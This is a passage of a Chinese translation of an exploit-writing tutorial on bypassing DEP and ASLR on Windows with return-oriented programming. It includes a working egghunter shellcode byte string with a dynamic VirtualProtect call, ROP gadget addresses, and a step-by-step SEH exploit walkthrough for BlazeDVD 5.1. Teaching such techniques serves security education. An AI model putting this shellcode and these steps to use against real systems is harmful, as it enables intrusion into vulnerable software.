xorebx,ebx
addbl,0x40
pushebx;param4:flNewProtect
;shellcodelength
addebx,0x7FFFFFBF;tocompensatefor40alreadyinebx
subebx,0x7FFFFFFF-shellcode_size
pushebx;param3:size:0x300bytesinthiscase
pushedi;param2:lpAddress
pushedi;param1:returnaddress
pusheax;VirtualProtect
ret
和egghunter结合,代码是这样的:
#-------------------------------------------------------------------
#corelanc0d3r-egghunterwhichwillmarkshellcodelocexecutable
#andthenjumpstoit
#WorksonallOSes(32bit)(dynamicVirtualProtect()lookup
#non-optimized-canbemadealotsmaller!
#
#Currenthardcodedvalues:
#-shellcodesize:300bytes
#-writeableaddress:0x10035005
#-------------------------------------------------------------------
my$egghunter=
"x66x81xCAxFFx0Fx42x52x6Ax02".
"x58xCDx2Ex3Cx05x5Ax74xEFxB8".
"x77x30x30x74".#w00t
"x8BxFAxAFx75xEAxAFx75xE7xFF".
#risatedi
#dynamiccalltoVirtualProtect&jumptoshellcode
"xd9xebx9bxd9x74x24xf4x58".
"x57x50x31xd2xb2x7dx31xc9".
"x64x8bx71x30x8bx76x0cx8b".
"x76x1cx8bx46x08x8bx7ex20".
"x8bx36x38x4fx18x75xf3x59".
"x01xd1xffxe1x60x8bx6cx24".
"x24x8bx45x3cx8bx54x05x78".
"x01xeax8bx4ax18x8bx5ax20".
"x01xebxe3x37x49x8bx34x8b".
"x01xeex31xffx31xc0xfcxac".
"x84xc0x74x0axc1xcfx0dx01".
"xc7xe9xf1xffxffxffx3bx7c".
"x24x28x75xdex8bx5ax24x01".
"xebx66x8bx0cx4bx8bx5ax1c".
"x01xebx8bx04x8bx01xe8x89".
"x44x24x1cx61xc3xb2x04x29".
"xd4x89xe5x89xc2x68x1bxc6".
"x46x79x52xe8x9cxffxffxff".
"x5fx5fx5fx5fx68x05x50x03".
"x10x31xdbx80xc3x40x53x81".
"xc3xbfxffxffx7fx81xebxff".
"xfexffx7fx53x57x57x50xc3";
200字节对一个egghunter来说有点大,它可以最优化一点(对你来说是好练习)。另一方面,
200字节将会很好地适合WPM(),因此你有很多选择来使它成功。
方案
2
:预先考虑
shellcode
如果你没有足够的空间来容纳28(或者通用版的200字节),那么你可以这样做:
取出“jmpedi”指令,然后用“pushedi”,“ret”(x57xc3)代替。
那么,在shellcode中,在标签(w00tw00t)和shellcode自身之间,你将不得不介绍一个能
使当前页可执行然后运行它的rop链。
如果到目前为止你理解这个教程,你应该知道怎么实现。
Unicode
倘使你的缓冲区从属于unicode?好的,答案很简单:你需要找到指向rop小配件的兼容
unicode的指针。
“pvefindaddrrop”将会指示一个指针是否是兼容确保不要对函数用“nonull”关
键字或者不用任何unicode地址。很明白unicode会减少一个exploit的成功机会(因为可用
的指针数量是有限的)
除了这个,你需要找指向你要用的windowsAPI的指针来绕过DEP。
祝你好运!
ASLR和DEP?
原理
同时绕过DEP和ASLR需要至少加载一个non-ASLR的模块。(好的,这不完全正确,但是
在大多数情况下,这个陈述是有效的)
如果你有一个没有启用ASLR的模块,那么你可以试着基于那个模块的指针来打造rop链。
当然,如果你的rop链用一个OS函数来绕过DEP,你需要有一个指向那个模块调用的指针。
AlexeySintsov在他的ProSSHD1.2exploit/exploits/12495/中展示了
这种技术。
或者,你需要找到一个指向OS模块的指针,在栈上的,在一个寄存器中的,等等...如果它
发生了,你可以用non-aslr模块的rop小配件来盗取那个值并用一个到那个值的偏移量来得
到OS函数的地址。
坏消息是,如果没有一个不从属于ASLR的模块,那么不可能打造一个可靠的exploit。(你
依然可以试下暴力等等...或者在栈上某处找内存漏洞/指针)。好消息是,“pvefindaddrrop”
会自动搜索non-ASLR模块。因此如果!pvefindaddrrop显示一些输出,那么这个地址很可能
是可靠的。
在pvefindaddrv1.34和更高的版本,有一个功能叫做“ropcall”,会搜索和列出在加
载模块中所有的绕过DEP的函数调用。这个对找一个供选择的(或者ASLR绕过)的函数
调用有帮助。
例子:(在EasyRMtoMP3Converter,模块)
如果你能用一个non-ASLR模块的指令,并且你有一个指向一个ASLR模块(如OSdll)的
指针,在栈上(或者内存中),那么你可以利用那个,并且用一个到那个指针的偏移量来找
启用ASLR模块中其他可用的指令。那个模块的基地址可能会变,但是到一个特定函数的
偏移量应该保持一致。
你可以在这里/找
到一个很好的绕过ASLR和DEP的exploit文章,没有用一个non-ASLR模块。
一个例子
下面的例子,mr_me写的,我将会介绍一种可行的技术,用一个non-ASLR模块中的rop小
配件来从栈上拿到一个OSdll指针,并且用一个那个指针的偏移量来计算VirtualProtect的
地址。
如果我们能在栈上找到一个指向的指针,那么我们可以修改值(加或减一个偏
移量)直到我们到达VirtualProtect()的相对地址。
测试环境:VistaBusinessSP2,English(虚拟机)
这个例子中,我们会用一个在BlazeDVDProfessional5.1的漏洞,在2009发现的
/exploits/9329/。你可以在这里下载一份有漏洞的程序:
:8800/?dl_id=40
Exploit-db上的样本代码指示SEH记录在608字节后被覆盖。我们已经知道在一个基于rop
的exploit中,nseh的4字节是不重要的,因此我们将打造一个有612字节的payload,然后
用一个会旋转回栈中的指针覆盖seh处理函数。
你可以运行“!pvefindaddrnoaslr”来列出所有不从属于ASLR的模块。你将大部分的/所有
的程序模块不是ASLR启用的。(当然,WindowsOS模块是ASLR启用的)。
在创建一个文件后(用“!pvefindaddrropnonull”),然后在SEH处设断之后(我们
能计算回到栈上可控制缓冲区的偏移量),我们可以得出结论,比如“ADDESP,408+RET4”
小配件(在0x616074AE处,从)是开始链的一种好方法。那会使我们登录到seh
链前的缓冲区。
注意:在覆盖SEH后避免放很多数据在栈上是很重要的。覆盖栈也会覆盖指针。你所
需要的是触发一个访问违例然后覆盖掉的SEH记录会生效,我们就可以控制EIP。
到目前为止,Exploit代码是这样的:
崩溃/异常被触发是因为我们已经覆盖了directRET(用在“废物”变量中的A)。(这意味着
你可能要为这个exploit打造一个directRET变体。无论如何,我们已经决定用SEH)。
当SEH处理函数被调用时,我们观察栈,“ADDESP,408”后的指令被执行,我们看到这
个:
1、在覆盖SEH前我们会登录到一连串A中。用Metasploit模式我们发现我们登录在缓冲区
的312个A后面。这意味着你的第一个小配件指针需要放在那个位置。如果你将用很多指
针,你可能要思考SEH指针放在缓冲区612字节处的事实
2、滚到栈视图窗口中。在缓冲区(用A+我们的SEH处理函数+B填充)后你应该看到栈上
的指针,指示“”:
这些事保存EIP的-通过早些时候调用的函数放在栈上。
如果你一直滚,你会找到一个指向kernel32的地址的指针:
目标是设置一个能拿到那个指针的rop链,然后加/减一个偏移量知道它指向VirtualProtect。
在栈上我们看到的指针,在0x0012FF8C处,是0x7664D0E9。在当前进程/环境,
在0x76600000处加载。
VirtualProtect()位于0x76601DC3处
这意味着VirtualProtect()函数能在[kernel32_baseaddress+0x1DC3]或者
[found_pointer-0x4B326字节]处找到。记住这个偏移量。
重启机器然后看这个指针是否在相同的位置,并且从栈上取出的指针到VirtualProtect()的偏
移量是否是一样的。
重启之后,在0x75590000。函数依然在dress偏移量+0x1DC3处:
在栈上,在0012FF8C处的指针时755DD0E9。如果我们减去偏移量(0x4B326字节),我们
在75591DC3处结束。这是VirtualProtect!这意味着我们已经找到了一个可靠的地方来获取
kernel32指针,找到一个获取VirtualProtect()的可靠偏移量。
我们怎样从栈上把这个值放入一个寄存器中,然后我们能用它来设置API调用?
好的,一个可能的方法是这样的:
●使一个寄存器指向栈地址(这个例子中是0x0012FF8C)。你如说你动态将值放入eax。
(0x6162A59E+0x61630804,+ADDEAX,xxx的链)
●用一个会做同样事情的小配件:moveax,[eax]+ret。这会取出kernel32指针然后放入
eax中。(这个指令的变种也可以成功,当然-例子:MOVEAX,DWORDPTRDS:[EAX+1C]-像
0x6160103B处的那个)
●从栈上取出的值减去0x4B326字节(基本上用静态偏移量...)并且你将用一种动态的方
法来获得指向VirtualProtect()函数的指针,在VistaSP2上,不管kernel32是ASLR启
用的事实。
注意:找栈上的返回指针不是很不寻常,因此这是一种绕过kernel32ASLR的好方法。
并且...这是给你的很好的练习。
祝你好运!
其他的关于DEP/内存保护绕过的文章:
Youcan'tstopus-CONFidence2010(AlexeySintsov)
BufferoverflowattacksbypassingDEPPart1(MarcoMastropaolo)
BufferoverflowattacksbypassingDEPPart2(MarcoMastropaolo)
PracticalRop(DinoDaiZovi)
BypassingBrowserMemoryProtections(AlexanderSotirov&MarkDown)
Return-OrientedProgramming(HovavShacham,ErikBuchanan,RyanRoemer,StefanSavage)
ExploitationwithWriteProcessMemory(SpencerPratt)
ExploitationtechniquesandmitigationsonWindows(skape)
BypassinghardwareenforcedDEP(skapeandskywing)
AlittlereturnorientedexploitationonWindowsx86-Part1(HarmonySecurity-StephenFewer)
AlittlereturnorientedexploitationonWindowsx86-Part2(HarmonySecurity-StephenFewer)
(un)SmashingtheStack(ShawnMoyer)(Paper)
/events/sec09/tech/slides/
BypassingDEPcasestudy(AudioConverter)(sud0)
Gentleintroductiontoreturn-oriented-programming
DEPindepth(SyscanSingapore-InsomniaSec)
可以在这里找到一些好的ROPexploit:
ProSSHD1.2remotepost-authexploit(/exploits/12495)
PHP6.0Devstr_transliterate()(/exploits/12189)
VUPlayerm3ubufferoverflow(/exploits/13756)
SygatePersonalFirewall5.6build2808ActiveXwithDEPbypass
(/exploits/13834)
Castripper2.50.70(.pls)stackbufferoverflowwithDEPbypass
(/exploits)
问题?
如果你有问题,请在我们的论坛中提出:
:8800//forum/exploit-writing-win32-bypass-stack-memory-protect
ions/